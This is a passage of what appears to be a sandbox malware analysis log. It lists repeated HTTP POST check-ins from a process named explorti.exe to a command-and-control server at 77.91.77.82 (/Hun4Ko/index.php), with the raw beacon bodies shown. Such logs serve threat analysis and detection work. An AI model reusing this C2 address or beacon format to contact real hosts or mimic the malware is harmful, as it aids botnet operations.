Jun 30, 2024 10:22:32.498730898 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49727	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.693773031 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49728	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.745927095 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49729	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.891051054 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49730	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:33.069406033 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49733	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:35.149780989 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:22:35.384500980 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49737	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:35.920603991 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49739	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:36.365639925 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49741	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:36.532676935 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49743	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:36.726852894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49744	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:36.795377016 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49745	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:36.986879110 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49746	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:37.077622890 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49747	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:37.310637951 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49748	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:37.388684988 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49749	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:37.578131914 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49750	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:37.663743973 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49751	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:39.031951904 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49752	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:40.259648085 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49753	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:40.426716089 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49754	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:41.646302938 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49755	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:42.002825975 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49756	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:42.215117931 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49757	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:45.483933926 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49758	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:45.515913963 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49759	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:45.658638000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49760	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:45.733073950 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49761	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:45.893032074 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49762	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:45.981971025 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49763	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:46.297045946 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:22:46.634391069 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49764	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:46.684231997 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49765	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:46.967329979 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49766	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
